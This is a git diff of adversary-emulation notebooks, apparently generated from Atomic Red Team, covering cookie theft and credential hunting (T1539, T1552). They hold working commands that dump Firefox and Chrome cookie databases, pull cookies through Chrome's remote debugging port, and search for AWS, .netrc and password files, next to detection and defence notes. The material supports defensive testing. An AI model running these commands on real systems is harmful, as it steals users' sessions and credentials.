"0ffd29a3", + "id": "4ed4ac84", "metadata": {}, "source": "## Detection\nAdministrators should set up monitoring to trigger automatic alerts when policy criteria are met. For example, using a Cloud Access Security Broker (CASB), admins can create a \u201cHigh severity app permissions\u201d policy that generates alerts if apps request high severity permissions or send permissions requests for too many users.\n\nSecurity analysts can hunt for malicious apps using the tools available in their CASB, identity provider, or resource provider (depending on platform.) For example, they can filter for apps that are authorized by a small number of users, apps requesting high risk permissions, permissions incongruous with the app\u2019s purpose, or apps with old \u201cLast authorized\u201d fields. A specific app can be investigated using an activity log displaying activities the app has performed, although some activities may be mis-logged as being performed by the user. App stores can be useful resources to further investigate suspicious apps.\n\nAdministrators can set up a variety of logs and leverage audit tools to monitor actions that can be conducted as a result of OAuth 2.0 access. For instance, audit reports enable admins to identify privilege escalation actions such as role creations or policy modifications, which could be actions performed after initial access." }, { "cell_type": "markdown", - "id": "9a0da93c", + "id": "56e81290", "metadata": {}, "source": "\n## Shield Active Defense\n### User Training \n Train users to detect malicious intent or activity, how to report it, etc. \n\n User training involves teaching end users to be human sensors who know how to recognize cyber threats and the procedures for reporting them. Users can be effective sensors for social engineering attempts, phishing email detection, as well as other cyber threats.\n#### Opportunity\nUsers trained and encouraged to report unsolicited application authorization requests can detect attacks that other defenses do not.\n#### Use Case\nA program to train users on how to recognize and report third-party applications requesting authorization can create \"Human Sensors\" that help detect application token theft.\n#### Procedures\nTrain users to immediately report suspicious emails. Those emails could then be used for malware detonation or adversary engagement purposes.\nTrain users to report potentially compromised devices so they can be isolated or migrated into deception networks.\n" } @@ -73,13 +73,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/credential-access/T1539.ipynb b/playbook/tactics/credential-access/T1539.ipynb index 2c6fff9f..0da9751f 100644 --- a/playbook/tactics/credential-access/T1539.ipynb +++ b/playbook/tactics/credential-access/T1539.ipynb @@ -2,115 +2,160 @@ "cells": [ { "cell_type": "markdown", - "id": "ef9efefc", + "id": "2ce6fd2e", "metadata": {}, - "source": "# T1539 - Steal Web Session Cookie\nAn adversary may steal web application or service session cookies and use them to gain access to web applications or Internet services as an authenticated user without needing credentials. Web applications and services often use session cookies as an authentication token after a user has authenticated to a website.\n\nCookies are often valid for an extended period of time, even if the web application is not actively used. Cookies can be found on disk, in the process memory of the browser, and in network traffic to remote systems. Additionally, other applications on the targets machine might store sensitive authentication cookies in memory (e.g. apps which authenticate to cloud services). Session cookies can be used to bypasses some multi-factor authentication protocols.(Citation: Pass The Cookie)\n\nThere are several examples of malware targeting cookies from web browsers on the local system.(Citation: Kaspersky TajMahal April 2019)(Citation: Unit 42 Mac Crypto Cookies January 2019) There are also open source frameworks such as Evilginx 2 and Muraena that can gather session cookies through a malicious proxy (ex: [Adversary-in-the-Middle](https://attack.mitre.org/techniques/T1557)) that can be set up by an adversary and used in phishing campaigns.(Citation: Github evilginx2)(Citation: GitHub Mauraena)\n\nAfter an adversary acquires a valid cookie, they can then perform a [Web Session Cookie](https://attack.mitre.org/techniques/T1550/004) technique to login to the corresponding web application." + "source": "# T1539 - Steal Web Session Cookie\nAn adversary may steal web application or service session cookies and use them to gain access to web applications or Internet services as an authenticated user without needing credentials. Web applications and services often use session cookies as an authentication token after a user has authenticated to a website.\n\nCookies are often valid for an extended period of time, even if the web application is not actively used. Cookies can be found on disk, in the process memory of the browser, and in network traffic to remote systems. Additionally, other applications on the targets machine might store sensitive authentication cookies in memory (e.g. apps which authenticate to cloud services). Session cookies can be used to bypasses some multi-factor authentication protocols.(Citation: Pass The Cookie)\n\nThere are several examples of malware targeting cookies from web browsers on the local system.(Citation: Kaspersky TajMahal April 2019)(Citation: Unit 42 Mac Crypto Cookies January 2019) There are also open source frameworks such as `Evilginx2` and `Muraena` that can gather session cookies through a malicious proxy (ex: [Adversary-in-the-Middle](https://attack.mitre.org/techniques/T1557)) that can be set up by an adversary and used in phishing campaigns.(Citation: Github evilginx2)(Citation: GitHub Mauraena)\n\nAfter an adversary acquires a valid cookie, they can then perform a [Web Session Cookie](https://attack.mitre.org/techniques/T1550/004) technique to login to the corresponding web application." }, { "cell_type": "markdown", - "id": "518ac0e7", + "id": "d0c67a8f", "metadata": {}, "source": "## Atomic Tests" }, { "cell_type": "markdown", - "id": "b8e95034", + "id": "b5392151", "metadata": {}, - "source": "### Atomic Test #1 - Steal Firefox Cookies (Windows)\nThis test queries Firefox's cookies.sqlite database to steal the cookie data contained within it, similar to Zloader/Zbot's cookie theft function. \nNote: If Firefox is running, the process will be killed to ensure that the DB file isn't locked. \nSee https://www.malwarebytes.com/resources/files/2020/05/the-silent-night-zloader-zbot_final.pdf. \n\n**Supported Platforms:** windows\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `powershell`!\n##### Description: Sqlite3 must exist at (#{sqlite3_path})\n\n##### Check Prereq Commands:\n```powershell\nif (Test-Path $env:temp\\sqlite-tools-win32-x86-3380200\\sqlite3.exe) {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```powershell\nInvoke-WebRequest \"https://www.sqlite.org/2022/sqlite-tools-win32-x86-3380200.zip\" -OutFile \"$env:temp\\sqlite.zip\"\nExpand-Archive -path \"$env:temp\\sqlite.zip\" -destinationpath \"$env:temp\\\" -force\n\n```" + "source": "### Atomic Test #1 - Steal Firefox Cookies (Windows)\nThis test queries Firefox's cookies.sqlite database to steal the cookie data contained within it, similar to Zloader/Zbot's cookie theft function. \nNote: If Firefox is running, the process will be killed to ensure that the DB file isn't locked. \nSee https://www.malwarebytes.com/resources/files/2020/05/the-silent-night-zloader-zbot_final.pdf. \n\n**Supported Platforms:** windows\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `powershell`!\n##### Description: Sqlite3 must exist at (#{sqlite3_path})\n\n##### Check Prereq Commands:\n```powershell\nif (Test-Path \"PathToAtomicsFolder\\..\\ExternalPayloads\\sqlite-tools-win32-x86-3380200\\sqlite3.exe\") {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```powershell\nNew-Item -Type Directory \"PathToAtomicsFolder\\..\\ExternalPayloads\\\" -ErrorAction Ignore -Force | Out-Null\nInvoke-WebRequest \"https://www.sqlite.org/2022/sqlite-tools-win32-x86-3380200.zip\" -OutFile \"PathToAtomicsFolder\\..\\ExternalPayloads\\sqlite.zip\"\nExpand-Archive -path \"PathToAtomicsFolder\\..\\ExternalPayloads\\sqlite.zip\" -destinationpath \"PathToAtomicsFolder\\..\\ExternalPayloads\\\" -force\n\n```" }, { "cell_type": "code", "execution_count": null, - "id": "eac0949a", + "id": "6c00b5ec", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1539 -TestNumbers 1 -GetPreReqs" }, { "cell_type": "markdown", - "id": "7195929d", + "id": "9e5c1b16", "metadata": {}, "source": [ "#### Attack Commands: Run with `powershell`\n", - "```powershell\nstop-process -name \"firefox\" -force -erroraction silentlycontinue\n$CookieDBLocation = get-childitem -path \"$env:appdata\\Mozilla\\Firefox\\Profiles\\*\\cookies.sqlite\"\n\"select host, name, value, path, expiry, isSecure, isHttpOnly, sameSite from [moz_cookies];\" | cmd /c $env:temp\\sqlite-tools-win32-x86-3380200\\sqlite3.exe \"$CookieDBLocation\" | out-file -filepath \"$env:temp\\T1539FirefoxCookies.txt\"\n```" + "```powershell\nstop-process -name \"firefox\" -force -erroraction silentlycontinue\n$CookieDBLocation = get-childitem -path \"$env:appdata\\Mozilla\\Firefox\\Profiles\\*\\cookies.sqlite\"\n\"select host, name, value, path, expiry, isSecure, isHttpOnly, sameSite from [moz_cookies];\" | cmd /c PathToAtomicsFolder\\..\\ExternalPayloads\\sqlite-tools-win32-x86-3380200\\sqlite3.exe \"$CookieDBLocation\" | out-file -filepath \"PathToAtomicsFolder\\..\\ExternalPayloads\\T1539FirefoxCookies.txt\"\n```" ] }, { "cell_type": "code", "execution_count": null, - "id": "af9c4729", + "id": "caff40db", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1539 -TestNumbers 1" }, { "cell_type": "markdown", - "id": "b0bc044b", + "id": "dc07186c", "metadata": {}, - "source": "#### Cleanup: \n```powershell\nremove-item $env:temp\\T1539FirefoxCookies.txt -erroraction silentlycontinue\n```" + "source": "#### Cleanup: \n```powershell\nremove-item PathToAtomicsFolder\\..\\ExternalPayloads\\T1539FirefoxCookies.txt -erroraction silentlycontinue\n```" }, { "cell_type": "code", "execution_count": null, - "id": "344bf05c", + "id": "ef539c3d", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1539 -TestNumbers 1 -Cleanup" }, { "cell_type": "markdown", - "id": "ac0b269f", + "id": "8fd23eac", "metadata": {}, - "source": "### Atomic Test #2 - Steal Chrome Cookies (Windows)\nThis test queries Chrome's SQLite database to steal the encrypted cookie data, designed to function similarly to Zloader/Zbot's cookie theft function. \nOnce an adversary obtains the encrypted cookie info, they could go on to decrypt the encrypted value, potentially allowing for session theft. \nNote: If Chrome is running, the process will be killed to ensure that the DB file isn't locked. \nSee https://www.malwarebytes.com/resources/files/2020/05/the-silent-night-zloader-zbot_final.pdf. \n\n**Supported Platforms:** windows\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `powershell`!\n##### Description: Sqlite3 must exist at (#{sqlite3_path})\n\n##### Check Prereq Commands:\n```powershell\nif (Test-Path $env:temp\\sqlite-tools-win32-x86-3380200\\sqlite3.exe) {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```powershell\nInvoke-WebRequest \"https://www.sqlite.org/2022/sqlite-tools-win32-x86-3380200.zip\" -OutFile \"$env:temp\\sqlite.zip\"\nExpand-Archive -path \"$env:temp\\sqlite.zip\" -destinationpath \"$env:temp\\\" -force\n\n```" + "source": "### Atomic Test #2 - Steal Chrome Cookies (Windows)\nThis test queries Chrome's SQLite database to steal the encrypted cookie data, designed to function similarly to Zloader/Zbot's cookie theft function. \nOnce an adversary obtains the encrypted cookie info, they could go on to decrypt the encrypted value, potentially allowing for session theft. \nNote: If Chrome is running, the process will be killed to ensure that the DB file isn't locked. \nSee https://www.malwarebytes.com/resources/files/2020/05/the-silent-night-zloader-zbot_final.pdf. \n\n**Supported Platforms:** windows\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `powershell`!\n##### Description: Sqlite3 must exist at (#{sqlite3_path})\n\n##### Check Prereq Commands:\n```powershell\nif (Test-Path \"PathToAtomicsFolder\\..\\ExternalPayloads\\sqlite-tools-win32-x86-3380200\\sqlite3.exe\") {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```powershell\nNew-Item -Type Directory \"PathToAtomicsFolder\\..\\ExternalPayloads\\\" -ErrorAction Ignore -Force | Out-Null\nInvoke-WebRequest \"https://www.sqlite.org/2022/sqlite-tools-win32-x86-3380200.zip\" -OutFile \"PathToAtomicsFolder\\..\\ExternalPayloads\\sqlite.zip\"\nExpand-Archive -path \"PathToAtomicsFolder\\..\\ExternalPayloads\\sqlite.zip\" -destinationpath \"PathToAtomicsFolder\\..\\ExternalPayloads\\\" -force\n\n```" }, { "cell_type": "code", "execution_count": null, - "id": "9d8dbf54", + "id": "d79990cd", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1539 -TestNumbers 2 -GetPreReqs" }, { "cell_type": "markdown", - "id": "b8080298", + "id": "8fd2f747", "metadata": {}, "source": [ "#### Attack Commands: Run with `powershell`\n", - "```powershell\nstop-process -name \"chrome\" -force -erroraction silentlycontinue\n\"select host_key, name, encrypted_value, path, expires_utc, is_secure, is_httponly from [Cookies];\" | cmd /c $env:temp\\sqlite-tools-win32-x86-3380200\\sqlite3.exe \"$env:localappdata\\Google\\Chrome\\User Data\\Default\\Network\\Cookies\" | out-file -filepath \"$env:temp\\T1539ChromeCookies.txt\"\n```" + "```powershell\nstop-process -name \"chrome\" -force -erroraction silentlycontinue\n\"select host_key, name, encrypted_value, path, expires_utc, is_secure, is_httponly from [Cookies];\" | cmd /c PathToAtomicsFolder\\..\\ExternalPayloads\\sqlite-tools-win32-x86-3380200\\sqlite3.exe \"$env:localappdata\\Google\\Chrome\\User Data\\Default\\Network\\Cookies\" | out-file -filepath \"PathToAtomicsFolder\\..\\ExternalPayloads\\T1539ChromeCookies.txt\"\n```" ] }, { "cell_type": "code", "execution_count": null, - "id": "518bab05", + "id": "60d073ae", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1539 -TestNumbers 2" }, { "cell_type": "markdown", - "id": "7b6de021", + "id": "4e1717c3", "metadata": {}, - "source": "#### Cleanup: \n```powershell\nremove-item $env:temp\\T1539ChromeCookies.txt\n```" + "source": "#### Cleanup: \n```powershell\nremove-item PathToAtomicsFolder\\..\\ExternalPayloads\\T1539ChromeCookies.txt\n```" }, { "cell_type": "code", "execution_count": null, - "id": "0987819e", + "id": "2958d79d", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1539 -TestNumbers 2 -Cleanup" }, { "cell_type": "markdown", - "id": "ba31ff9b", + "id": "9c904ccd", + "metadata": {}, + "source": "### Atomic Test #3 - Steal Chrome Cookies via Remote Debugging (Mac)\nThe remote debugging functionality in Chrome can be used by malware for post-exploitation activities to obtain cookies without requiring keychain access. By initiating Chrome with a remote debug port, an attacker can sidestep encryption and employ Chrome's own mechanisms to access cookies.\n\nIf successful, this test will output a list of cookies.\n\nNote: Chrome processes will be killed during this test.\n\nSee https://posts.specterops.io/hands-in-the-cookie-jar-dumping-cookies-with-chromiums-remote-debugger-port-34c4f468844e\n**Supported Platforms:** macos\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `bash`!\n##### Description: Install Go\n##### Check Prereq Commands:\n```bash\ngo version\n```\n##### Get Prereq Commands:\n```bash\nbrew install go\n```\n##### Description: Download and compile WhiteChocolateMacademiaNut\n##### Check Prereq Commands:\n```bash\n/tmp/WhiteChocolateMacademiaNut/chocolate -h\n```\n##### Get Prereq Commands:\n```bash\ngit clone https://github.com/slyd0g/WhiteChocolateMacademiaNut.git /tmp/WhiteChocolateMacademiaNut\ncd /tmp/WhiteChocolateMacademiaNut\ngo mod init chocolate\ngo mod tidy\ngo build\n```" + }, + { + "cell_type": "code", + "execution_count": null, + "id": "e4d4942c", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1539 -TestNumbers 3 -GetPreReqs" + }, + { + "cell_type": "markdown", + "id": "8e630d7d", + "metadata": {}, + "source": [ + "#### Attack Commands: Run with `bash`\n", + "```bash\nkillall 'Google Chrome'\nsleep 1\nopen -a \"/Applications/Google Chrome.app/Contents/MacOS/Google Chrome\" --args --remote-debugging-port=1337 --remote-allow-origins=http://localhost/\nsleep 1\n/tmp/WhiteChocolateMacademiaNut/chocolate -d cookies -p 1337```" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "id": "262d9b64", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1539 -TestNumbers 3" + }, + { + "cell_type": "markdown", + "id": "0ca29619", + "metadata": {}, + "source": "#### Cleanup: \n```bash\nrm -rf /tmp/WhiteChocolateMacademiaNut```" + }, + { + "cell_type": "code", + "execution_count": null, + "id": "c560089e", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1539 -TestNumbers 3 -Cleanup" + }, + { + "cell_type": "markdown", + "id": "53dd8785", "metadata": {}, "source": "## Detection\nMonitor for attempts to access files and repositories on a local system that are used to store browser session cookies. Monitor for attempts by programs to inject into or dump browser process memory." }, { "cell_type": "markdown", - "id": "a6d1d60e", + "id": "e2d9156b", "metadata": {}, "source": "\n## Shield Active Defense\n### Security Controls \n Alter security controls to make the system more or less vulnerable to attack. \n\n Manipulating security controls involves making configuration changes to the security settings of a system including things like modifying Group Policies, disabling/enabling autorun for removable media, and tightening or relaxing system firewalls, etc.\n#### Opportunity\nThere is an opportunity to use security controls to stop or allow an adversary's activity.\n#### Use Case\nA defender can harden authentication mechanisms to ensure having just a session cookie is not enough to authenticate with another system.\n#### Procedures\nWeaken security controls on a system to allow for leaking of credentials via network connection poisoning.\nImplement policies on a system to prevent the insecure storage of passwords in the registry. This may force an adversary to revert these changes or find another way to access cached credentials.\n" } @@ -118,13 +163,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/credential-access/T1552.001.ipynb b/playbook/tactics/credential-access/T1552.001.ipynb index ecc693fb..fd370416 100644 --- a/playbook/tactics/credential-access/T1552.001.ipynb +++ b/playbook/tactics/credential-access/T1552.001.ipynb @@ -2,22 +2,42 @@ "cells": [ { "cell_type": "markdown", - "id": "11a43d41", + "id": "12c63f87", "metadata": {}, "source": "# T1552.001 - Credentials In Files\nAdversaries may search local file systems and remote file shares for files containing insecurely stored credentials. These can be files created by users to store their own credentials, shared credential stores for a group of individuals, configuration files containing passwords for a system or service, or source code/binary files containing embedded passwords.\n\nIt is possible to extract passwords from backups or saved virtual machines through [OS Credential Dumping](https://attack.mitre.org/techniques/T1003). (Citation: CG 2014) Passwords may also be obtained from Group Policy Preferences stored on the Windows Domain Controller. (Citation: SRD GPP)\n\nIn cloud and/or containerized environments, authenticated user and service account credentials are often stored in local configuration and credential files.(Citation: Unit 42 Hildegard Malware) They may also be found as parameters to deployment commands in container logs.(Citation: Unit 42 Unsecured Docker Daemons) In some cases, these files can be copied and reused on another machine or the contents can be read and then used to authenticate without needing to copy any files.(Citation: Specter Ops - Cloud Credential Storage)" }, { "cell_type": "markdown", - "id": "f570aca3", + "id": "0f86b9ec", "metadata": {}, "source": "## Atomic Tests" }, { "cell_type": "markdown", - "id": "60492c07", + "id": "7b23ebcb", "metadata": {}, "source": [ - "### Atomic Test #1 - Extract Browser and System credentials with LaZagne", + "### Atomic Test #1 - Find AWS credentials", + "Find local AWS credentials from file, defaults to using / as the look path.\n", + "**Supported Platforms:** macos, linux", + "#### Attack Commands: Run with `sh`\n", + "```sh\nfind / -name \"credentials\" -type f -path \"*/.aws/*\" 2>/dev/null\n```" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "id": "6c8d5f58", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1552.001 -TestNumbers 1" + }, + { + "cell_type": "markdown", + "id": "a4cf3c39", + "metadata": {}, + "source": [ + "### Atomic Test #2 - Extract Browser and System credentials with LaZagne", "[LaZagne Source](https://github.com/AlessandroZ/LaZagne)\n", "**Supported Platforms:** macos", "\nElevation Required (e.g. root or admin)", @@ -28,37 +48,37 @@ { "cell_type": "code", "execution_count": null, - "id": "a9f6c297", + "id": "de17a1d5", "metadata": {}, "outputs": [], - "source": "Invoke-AtomicTest T1552.001 -TestNumbers 1" + "source": "Invoke-AtomicTest T1552.001 -TestNumbers 2" }, { "cell_type": "markdown", - "id": "1a827a25", + "id": "967edd03", "metadata": {}, "source": [ - "### Atomic Test #2 - Extract passwords with grep", + "### Atomic Test #3 - Extract passwords with grep", "Extracting credentials from files\n", - "**Supported Platforms:** macos, linux", + "**Supported Platforms:** linux, macos", "#### Attack Commands: Run with `sh`\n", - "```sh\ngrep -ri password /\n```" + "```sh\ngrep -ri password /\nexit 0\n```" ] }, { "cell_type": "code", "execution_count": null, - "id": "2b5e312d", + "id": "a429a2d4", "metadata": {}, "outputs": [], - "source": "Invoke-AtomicTest T1552.001 -TestNumbers 2" + "source": "Invoke-AtomicTest T1552.001 -TestNumbers 3" }, { "cell_type": "markdown", - "id": "671ec60f", + "id": "4faeba2e", "metadata": {}, "source": [ - "### Atomic Test #3 - Extracting passwords with findstr", + "### Atomic Test #4 - Extracting passwords with findstr", "Extracting Credentials from Files. Upon execution, the contents of files that contain the word \"password\" will be displayed.\n", "**Supported Platforms:** windows", "#### Attack Commands: Run with `powershell`\n", @@ -68,17 +88,17 @@ { "cell_type": "code", "execution_count": null, - "id": "edb88bad", + "id": "7572238a", "metadata": {}, "outputs": [], - "source": "Invoke-AtomicTest T1552.001 -TestNumbers 3" + "source": "Invoke-AtomicTest T1552.001 -TestNumbers 4" }, { "cell_type": "markdown", - "id": "dcb91d89", + "id": "5a3c6544", "metadata": {}, "source": [ - "### Atomic Test #4 - Access unattend.xml", + "### Atomic Test #5 - Access unattend.xml", "Attempts to access unattend.xml, where credentials are commonly stored, within the Panther directory where installation logs are stored.\nIf these files exist, their contents will be displayed. They are used to store credentials/answers during the unattended windows install process.\n", "**Supported Platforms:** windows", "\nElevation Required (e.g. root or admin)", @@ -89,38 +109,38 @@ { "cell_type": "code", "execution_count": null, - "id": "351a07c8", + "id": "ef7d6770", "metadata": {}, "outputs": [], - "source": "Invoke-AtomicTest T1552.001 -TestNumbers 4" + "source": "Invoke-AtomicTest T1552.001 -TestNumbers 5" }, { "cell_type": "markdown", - "id": "1d124e7b", + "id": "f7d464e5", "metadata": {}, "source": [ - "### Atomic Test #5 - Find and Access Github Credentials", + "### Atomic Test #6 - Find and Access Github Credentials", "This test looks for .netrc files (which stores github credentials in clear text )and dumps its contents if found.\n", - "**Supported Platforms:** macos, linux", + "**Supported Platforms:** linux, macos", "\nElevation Required (e.g. root or admin)", "#### Attack Commands: Run with `bash`\n", - "```bash\nfor file in $(find / -name .netrc 2> /dev/null);do echo $file ; cat $file ; done \n```" + "```bash\nfor file in $(find /home -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done\n```" ] }, { "cell_type": "code", "execution_count": null, - "id": "0b1d246a", + "id": "080489d1", "metadata": {}, "outputs": [], - "source": "Invoke-AtomicTest T1552.001 -TestNumbers 5" + "source": "Invoke-AtomicTest T1552.001 -TestNumbers 6" }, { "cell_type": "markdown", - "id": "50fbde1d", + "id": "ff245910", "metadata": {}, "source": [ - "### Atomic Test #6 - WinPwn - sensitivefiles", + "### Atomic Test #7 - WinPwn - sensitivefiles", "Search for sensitive files on this local system using the SensitiveFiles function of WinPwn", "**Supported Platforms:** windows", "#### Attack Commands: Run with `powershell`\n", @@ -130,17 +150,17 @@ { "cell_type": "code", "execution_count": null, - "id": "c6227145", + "id": "0535772f", "metadata": {}, "outputs": [], - "source": "Invoke-AtomicTest T1552.001 -TestNumbers 6" + "source": "Invoke-AtomicTest T1552.001 -TestNumbers 7" }, { "cell_type": "markdown", - "id": "3005982c", + "id": "885105a7", "metadata": {}, "source": [ - "### Atomic Test #7 - WinPwn - Snaffler", + "### Atomic Test #8 - WinPwn - Snaffler", "Check Domain Network-Shares for cleartext passwords using Snaffler function of WinPwn", "**Supported Platforms:** windows", "#### Attack Commands: Run with `powershell`\n", @@ -150,17 +170,17 @@ { "cell_type": "code", "execution_count": null, - "id": "23567cd3", + "id": "cf28385d", "metadata": {}, "outputs": [], - "source": "Invoke-AtomicTest T1552.001 -TestNumbers 7" + "source": "Invoke-AtomicTest T1552.001 -TestNumbers 8" }, { "cell_type": "markdown", - "id": "88eb0141", + "id": "390da668", "metadata": {}, "source": [ - "### Atomic Test #8 - WinPwn - powershellsensitive", + "### Atomic Test #9 - WinPwn - powershellsensitive", "Check Powershell event logs for credentials or other sensitive information via winpwn powershellsensitive function.", "**Supported Platforms:** windows", "#### Attack Commands: Run with `powershell`\n", @@ -170,17 +190,17 @@ { "cell_type": "code", "execution_count": null, - "id": "af78a47c", + "id": "25a674d2", "metadata": {}, "outputs": [], - "source": "Invoke-AtomicTest T1552.001 -TestNumbers 8" + "source": "Invoke-AtomicTest T1552.001 -TestNumbers 9" }, { "cell_type": "markdown", - "id": "f9da546e", + "id": "dd7f3aa8", "metadata": {}, "source": [ - "### Atomic Test #9 - WinPwn - passhunt", + "### Atomic Test #10 - WinPwn - passhunt", "Search for Passwords on this system using passhunt via WinPwn", "**Supported Platforms:** windows", "#### Attack Commands: Run with `powershell`\n", @@ -190,31 +210,31 @@ { "cell_type": "code", "execution_count": null, - "id": "bc8e74ef", + "id": "f3fcb8ee", "metadata": {}, "outputs": [], - "source": "Invoke-AtomicTest T1552.001 -TestNumbers 9" + "source": "Invoke-AtomicTest T1552.001 -TestNumbers 10" }, { "cell_type": "markdown", - "id": "fb70bb40", + "id": "892495ca", "metadata": {}, "source": "#### Cleanup: \n```powershell\nrm -force .\\passhunt.exe -ErrorAction Ignore\nrm -force .\\phunter* -ErrorAction Ignore\nrm -force -recurse .\\DomainRecon -ErrorAction Ignore\nrm -force -recurse .\\Exploitation -ErrorAction Ignore\nrm -force -recurse .\\LocalPrivEsc -ErrorAction Ignore\nrm -force -recurse .\\LocalRecon -ErrorAction Ignore\nrm -force -recurse .\\Vulnerabilities -ErrorAction Ignore```" }, { "cell_type": "code", "execution_count": null, - "id": "f027a6c3", + "id": "fafc6fcf", "metadata": {}, "outputs": [], - "source": "Invoke-AtomicTest T1552.001 -TestNumbers 9 -Cleanup" + "source": "Invoke-AtomicTest T1552.001 -TestNumbers 10 -Cleanup" }, { "cell_type": "markdown", - "id": "cc77d66f", + "id": "164db3b2", "metadata": {}, "source": [ - "### Atomic Test #10 - WinPwn - SessionGopher", + "### Atomic Test #11 - WinPwn - SessionGopher", "Launches SessionGopher on this system via WinPwn", "**Supported Platforms:** windows", "#### Attack Commands: Run with `powershell`\n", @@ -224,17 +244,17 @@ { "cell_type": "code", "execution_count": null, - "id": "9e9bb01f", + "id": "d463d222", "metadata": {}, "outputs": [], - "source": "Invoke-AtomicTest T1552.001 -TestNumbers 10" + "source": "Invoke-AtomicTest T1552.001 -TestNumbers 11" }, { "cell_type": "markdown", - "id": "c138e61e", + "id": "8fa58f5e", "metadata": {}, "source": [ - "### Atomic Test #11 - WinPwn - Loot local Credentials - AWS, Microsoft Azure, and Google Compute credentials", + "### Atomic Test #12 - WinPwn - Loot local Credentials - AWS, Microsoft Azure, and Google Compute credentials", "Loot local Credentials - AWS, Microsoft Azure, and Google Compute credentials technique via function of WinPwn", "**Supported Platforms:** windows", "#### Attack Commands: Run with `powershell`\n", @@ -244,14 +264,14 @@ { "cell_type": "code", "execution_count": null, - "id": "9399225f", + "id": "49b4b1c5", "metadata": {}, "outputs": [], - "source": "Invoke-AtomicTest T1552.001 -TestNumbers 11" + "source": "Invoke-AtomicTest T1552.001 -TestNumbers 12" }, { "cell_type": "markdown", - "id": "61cb55db", + "id": "aea55abf", "metadata": {}, "source": "## Detection\nWhile detecting adversaries accessing these files may be difficult without knowing they exist in the first place, it may be possible to detect adversary use of credentials they have obtained. Monitor the command-line arguments of executing processes for suspicious words or regular expressions that may indicate searching for a password (for example: password, pwd, login, secure, or credentials). See [Valid Accounts](https://attack.mitre.org/techniques/T1078) for more information." } @@ -259,13 +279,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/credential-access/T1552.002.ipynb b/playbook/tactics/credential-access/T1552.002.ipynb index e13ce20c..c99cff2f 100644 --- a/playbook/tactics/credential-access/T1552.002.ipynb +++ b/playbook/tactics/credential-access/T1552.002.ipynb @@ -2,19 +2,19 @@ "cells": [ { "cell_type": "markdown", - "id": "0b013c1d", + "id": "fe2cd718", "metadata": {}, "source": "# T1552.002 - Credentials in Registry\nAdversaries may search the Registry on compromised systems for insecurely stored credentials. The Windows Registry stores configuration information that can be used by the system or other programs. Adversaries may query the Registry looking for credentials and passwords that have been stored for use by other programs or services. Sometimes these credentials are used for automatic logons.\n\nExample commands to find Registry keys related to password information: (Citation: Pentestlab Stored Credentials)\n\n* Local Machine Hive: reg query HKLM /f password /t REG_SZ /s\n* Current User Hive: reg query HKCU /f password /t REG_SZ /s" }, { "cell_type": "markdown", - "id": "d3e8b0cb", + "id": "709c6cd7", "metadata": {}, "source": "## Atomic Tests" }, { "cell_type": "markdown", - "id": "044d86ba", + "id": "8dbf0d11", "metadata": {}, "source": [ "### Atomic Test #1 - Enumeration for Credentials in Registry", @@ -27,14 +27,14 @@ { "cell_type": "code", "execution_count": null, - "id": "e6082f63", + "id": "dfa3e0db", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1552.002 -TestNumbers 1" }, { "cell_type": "markdown", - "id": "e350572f", + "id": "8f84ac20", "metadata": {}, "source": [ "### Atomic Test #2 - Enumeration for PuTTY Credentials in Registry", @@ -47,14 +47,14 @@ { "cell_type": "code", "execution_count": null, - "id": "6c4b5744", + "id": "21c439a7", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1552.002 -TestNumbers 2" }, { "cell_type": "markdown", - "id": "7f281a17", + "id": "0f608291", "metadata": {}, "source": "## Detection\nMonitor processes for applications that can be used to query the Registry, such as [Reg](https://attack.mitre.org/software/S0075), and collect command parameters that may indicate credentials are being searched. Correlate activity with related suspicious behavior that may indicate an active intrusion to reduce false positives." } @@ -62,13 +62,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/credential-access/T1552.003.ipynb b/playbook/tactics/credential-access/T1552.003.ipynb index d7ff4864..91f2fe23 100644 --- a/playbook/tactics/credential-access/T1552.003.ipynb +++ b/playbook/tactics/credential-access/T1552.003.ipynb @@ -2,19 +2,19 @@ 